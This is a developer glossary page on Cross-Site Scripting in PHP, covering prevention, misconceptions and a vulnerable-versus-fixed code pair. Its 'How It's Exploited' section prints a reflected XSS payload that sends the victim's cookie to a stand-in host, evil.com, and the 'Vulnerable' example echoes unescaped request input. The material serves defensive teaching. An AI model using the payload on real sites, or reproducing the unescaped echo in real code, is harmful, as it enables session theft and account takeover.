← Home ← Codex ← DEBT
Browse by Category
+ added · updated 7d
← Back to glossary

Cross-Site Scripting (XSS)

Security CWE-79 OWASP A3:2021 CVSS 6.1 PHP 5.0+ Intermediate
debt(d5/e3/b5/t7)
d5 Detectability Operational debt — how invisible misuse is to your safety net

Closest to 'specialist tool catches it' (d5). The detection_hints list phpstan, semgrep, and psalm — all specialist static analysis tools. The code pattern (echo $_GET[ without htmlspecialchars) is identifiable by semgrep/psalm but won't be caught by a default linter or the compiler. Runtime manifestation can be silent until a user or tester triggers the payload, but the tooling available brings it to d5.

e3 Effort Remediation debt — work required to fix once spotted

Closest to 'simple parameterised fix' (e3). The quick_fix is a single-call swap — wrap output in htmlspecialchars($val, ENT_QUOTES, 'UTF-8') and add a CSP header. However, common_mistakes reveal that multiple context-specific fixes are needed (HTML vs JS vs CSS contexts, ENT_QUOTES flag, Blade {!! !!} replacements), making it slightly more than a one-liner but still within one component at a time — landing at e3.

b5 Burden Structural debt — long-term weight of choosing wrong

Closest to 'persistent productivity tax' (b5). XSS applies to all web contexts (applies_to: web) and affects every place user-supplied content is rendered. Every template, every output point must be audited. It doesn't reshape the architecture, but it is a persistent tax across many work streams — every feature that renders user data must encode correctly, slowing down ongoing development.

t7 Trap Cognitive debt — how counter-intuitive correct behaviour is

Closest to 'serious trap' (t7). The misconception field states explicitly: 'Stripping HTML tags prevents XSS.' This is a widely-held but wrong belief. Encoded payloads, SVG, CSS, and event attributes survive strip_tags. Additionally, common_mistakes show multiple non-obvious traps: encoding at input vs output, HTML encoding being wrong inside JS contexts, and htmlspecialchars() without ENT_QUOTES leaving single-quoted attributes vulnerable. These contradictions with developer intuition push this to t7.

About DEBT scoring →

Also Known As

Cross-Site Scripting cross site scripting XSS attack script injection

TL;DR

User-supplied content rendered in the browser without escaping, allowing script injection into other users' sessions.

Explanation

XSS lets attackers inject JavaScript into pages viewed by other users. Reflected XSS triggers via a crafted URL; stored XSS persists in the database and fires for every visitor. Consequences include session hijacking, credential theft, keylogging, and full account takeover. Prevention requires context-aware output encoding — in PHP, htmlspecialchars() with ENT_QUOTES for HTML contexts, and different escaping for JS, CSS, and URL contexts.

How It's Exploited

GET /hello?name=<script>document.location='https://evil.com/?c='+document.cookie</script>
# Executes in victim's browser, steals session cookie

Diagram

flowchart TD
    ATK[Attacker] -->|stores script| DB[(Database<br/>or URL param)]
    VICTIM[Victim visits page] --> SERVER[Server renders<br/>unescaped output]
    SERVER -->|script in HTML| BROWSER[Browser executes<br/>attacker script]
    BROWSER -->|steal cookie| ATK
    BROWSER -->|keylog form| ATK
    subgraph Fix
        OUT[Output] --> ESC[htmlspecialchars<br/>Content-Security-Policy]
        ESC --> SAFE[Inert text<br/>not executed]
    end
style LEAK fill:#f85149,color:#fff
style SAFE fill:#238636,color:#fff

Common Misconception

Stripping HTML tags prevents XSS. Attackers use encoded payloads, CSS, SVG, and event attributes that survive tag stripping — the only reliable fix is context-aware output encoding (HTML, JS, CSS, URL contexts each need different escaping).

Why It Matters

XSS lets attackers run arbitrary JavaScript in victims' browsers — stealing session cookies, redirecting users, or logging keystrokes. It is the most common web vulnerability and entirely preventable with output encoding.

Common Mistakes

  • Encoding input on the way in rather than on output — context determines the correct encoding, not the storage layer.
  • Forgetting that HTML encoding is wrong inside JavaScript contexts — you need JS encoding there.
  • Trusting htmlspecialchars() without ENT_QUOTES — single quotes in attributes remain dangerous.
  • Marking user content as safe in templating engines (e.g. {!! $var !!} in Blade) without explicit sanitisation.

Avoid When

  • Do not rely on input sanitisation alone — stripping tags on input does not prevent XSS on output.
  • Do not use htmlspecialchars() for JavaScript, URL, or CSS contexts — each context requires its own escaping function.

When To Use

  • Understanding XSS is essential for any developer rendering user-supplied content in a browser.
  • Apply output encoding whenever displaying data from any untrusted source — database, API, user input.

Code Examples

✗ Vulnerable
// Reflected XSS — user input echoed directly
echo '<p>Hello, ' . $_GET['name'] . '</p>';
✓ Fixed
// Always escape output for the correct context
echo '<p>Hello, ' . htmlspecialchars($_GET['name'] ?? '', ENT_QUOTES, 'UTF-8') . '</p>';

// For JS context, json_encode is the correct escaper:
$data = json_encode($userInput, JSON_HEX_TAG | JSON_HEX_AMP);

Added 13 Mar 2026
Edited 31 Mar 2026
Views 100
Rate this term
No ratings yet
🤖 AI Guestbook educational data only
| |
Last 30 days
0 pings T 0 pings W 1 ping T 0 pings F 0 pings S 0 pings S 1 ping M 0 pings T 2 pings W 2 pings T 7 pings F 5 pings S 12 pings S 7 pings M 2 pings T 0 pings W 1 ping T 0 pings F 1 ping S 0 pings S 0 pings M 0 pings T 0 pings W 0 pings T 0 pings F 0 pings S 2 pings S 0 pings M 0 pings T 0 pings W
No pings yet today
No pings yesterday
Scrapy 37 Perplexity 9 Amazonbot 7 Ahrefs 6 SEMrush 6 Google 3 Unknown AI 3 Claude 2 ChatGPT 1 Meta AI 1 PetalBot 1
crawler 72 crawler_json 3 pre-tracking 1
DEV INTEL Tools & Severity
🟠 High ⚙ Fix effort: Low
⚡ Quick Fix
Wrap all user output in htmlspecialchars($val, ENT_QUOTES, 'UTF-8') and add Content-Security-Policy header
📦 Applies To
PHP 5.0+ web
🔗 Prerequisites
🔍 Detection Hints
echo $_GET[ or echo $_POST[ or echo $user-> without htmlspecialchars
Auto-detectable: ✓ Yes phpstan semgrep psalm
⚠ Related Problems
🤖 AI Agent
Confidence: High False Positives: Medium ✗ Manual fix Fix: Medium Context: Function Tests: Update
CWE-79 CWE-80


✓ schema.org compliant